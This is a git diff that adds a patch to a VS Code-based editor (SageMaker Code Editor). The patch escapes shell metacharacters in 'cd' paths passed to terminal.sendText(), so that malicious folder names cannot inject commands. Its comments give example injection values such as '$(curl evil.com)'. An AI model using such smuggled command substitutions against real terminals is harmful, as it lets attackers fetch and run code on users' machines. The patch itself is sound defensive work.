diff --git a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
index 5ddf2aa71..a3ce2acdd 100644
--- a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
+++ b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
@@ -68,3 +68,29 @@ export function sanitizeCwd(cwd: string): string {
 export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
 	return !slc.strictEnv;
 }
+
+/**
+ * Sanitize shell-dangerous characters in path segments of terminal commands.
+ * This targets command injection via malicious folder/file names containing
+ * shell metacharacters like $(), backticks, etc. that get interpolated when
+ * extensions send raw commands via terminal.sendText().
+ *
+ * The function identifies path-like segments following 'cd' commands and
+ * escapes shell metacharacters to prevent command substitution.
+ */
+export function sanitizeCdPathsInCommand(text: string): string {
+	// Match 'cd' followed by a path, terminated by ; && || & or end of string
+	// This handles patterns like: cd /path/to/$(evil) && python file.py
+	return text.replace(
+		/\bcd\s+((?:[^\s;|&]|\\ )+)/g,
+		(_match: string, path: string) => {
+			// If the path is already properly quoted (single or double quotes), leave it alone
+			if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
+				return `cd ${path}`;
+			}
+			// Escape shell metacharacters that enable command injection
+			const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
+			return `cd ${sanitized}`;
+		}
+	);
+}
diff --git a/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts b/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
index 5cf13eedf..052ae8e64 100644
--- a/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
+++ b/patched-vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
@@ -49,6 +49,7 @@ import { IEnvironmentVariableCollection, IMergedEnvironmentVariableCollection }
 import { deserializeEnvironmentVariableCollections } from 'vs/platform/terminal/common/environmentVariableShared';
 import { IProcessDataEvent, IProcessPropertyMap, IReconnectionProperties, IShellLaunchConfig, ITerminalDimensionsOverride, ITerminalLaunchError, ITerminalLogService, PosixShellType, ProcessPropertyType, ShellIntegrationStatus, TerminalExitReason, TerminalIcon, TerminalLocation, TerminalSettingId, TerminalShellType, TitleEventSource, WindowsShellType } from 'vs/platform/terminal/common/terminal';
 import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings';
+import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment';
 import { editorBackground } from 'vs/platform/theme/common/colorRegistry';
 import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry';
 import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService';
@@ -1237,6 +1238,9 @@ export class TerminalInstance extends Disposable implements ITerminalInstance {
 	}
 
 	async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
+		// Sanitize shell command substitution patterns in cd path arguments
+		// to prevent command injection via malicious folder names (e.g., $(curl evil.com))
+		text = sanitizeCdPathsInCommand(text);
 		// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
 		// the text from triggering keybindings and ensure new lines are handled properly
 		if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) {
diff --git a/patches/sanitize-terminal-sendtext-paths.diff b/patches/sanitize-terminal-sendtext-paths.diff
new file mode 100644
index 000000000..4cb109b92
--- /dev/null
+++ b/patches/sanitize-terminal-sendtext-paths.diff
@@ -0,0 +1,63 @@
+Sanitize folder paths in terminal sendText to prevent command injection
+
+Folder names containing shell metacharacters (e.g., $(curl evil.com))
+can trigger command injection when extensions send commands like
+"cd <path> && python file.py" via terminal.sendText(). This patch
+sanitizes path segments in cd commands by escaping shell-dangerous
+characters before the text is written to the terminal process.
+
+Index: sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
+===================================================================
+--- sagemaker-code-editor.orig/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
++++ sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
+@@ -68,3 +68,29 @@
+ export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
+ 	return !slc.strictEnv;
+ }
++
++/**
++ * Sanitize shell-dangerous characters in path segments of terminal commands.
++ * This targets command injection via malicious folder/file names containing
++ * shell metacharacters like $(), backticks, etc. that get interpolated when
++ * extensions send raw commands via terminal.sendText().
++ *
++ * The function identifies path-like segments following 'cd' commands and
++ * escapes shell metacharacters to prevent command substitution.
++ */
++export function sanitizeCdPathsInCommand(text: string): string {
++	// Match 'cd' followed by a path, terminated by ; && || & or end of string
++	// This handles patterns like: cd /path/to/$(evil) && python file.py
++	return text.replace(
++		/\bcd\s+((?:[^\s;|&]|\\ )+)/g,
++		(_match: string, path: string) => {
++			// If the path is already properly quoted (single or double quotes), leave it alone
++			if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
++				return `cd ${path}`;
++			}
++			// Escape shell metacharacters that enable command injection
++			const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
++			return `cd ${sanitized}`;
++		}
++	);
++}
+Index: sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
+===================================================================
+--- sagemaker-code-editor.orig/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
++++ sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
+@@ -51,4 +51,5 @@
+ import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings';
++import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment';
+ import { editorBackground } from 'vs/platform/theme/common/colorRegistry';
+ import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry';
+ import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService';
+@@ -1238,7 +1239,10 @@
+ 	}
+ 
+ 	async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
++		// Sanitize shell command substitution patterns in cd path arguments
++		// to prevent command injection via malicious folder names (e.g., $(curl evil.com))
++		text = sanitizeCdPathsInCommand(text);
+ 		// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
+ 		// the text from triggering keybindings and ensure new lines are handled properly
+ 		if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) {
+ 			text = `\x1b[200~${text}\x1b[201~`;
diff --git a/patches/series b/patches/series
index 1663846b7..ed0293d76 100644
--- a/patches/series
+++ b/patches/series
@@ -21,3 +21,4 @@ sagemaker-extensions-sync.patch
 display-language.patch
 custom-extensions-marketplace.diff
 validate-http-request-referer.patch
+sanitize-terminal-sendtext-paths.diff
\ No newline at end of file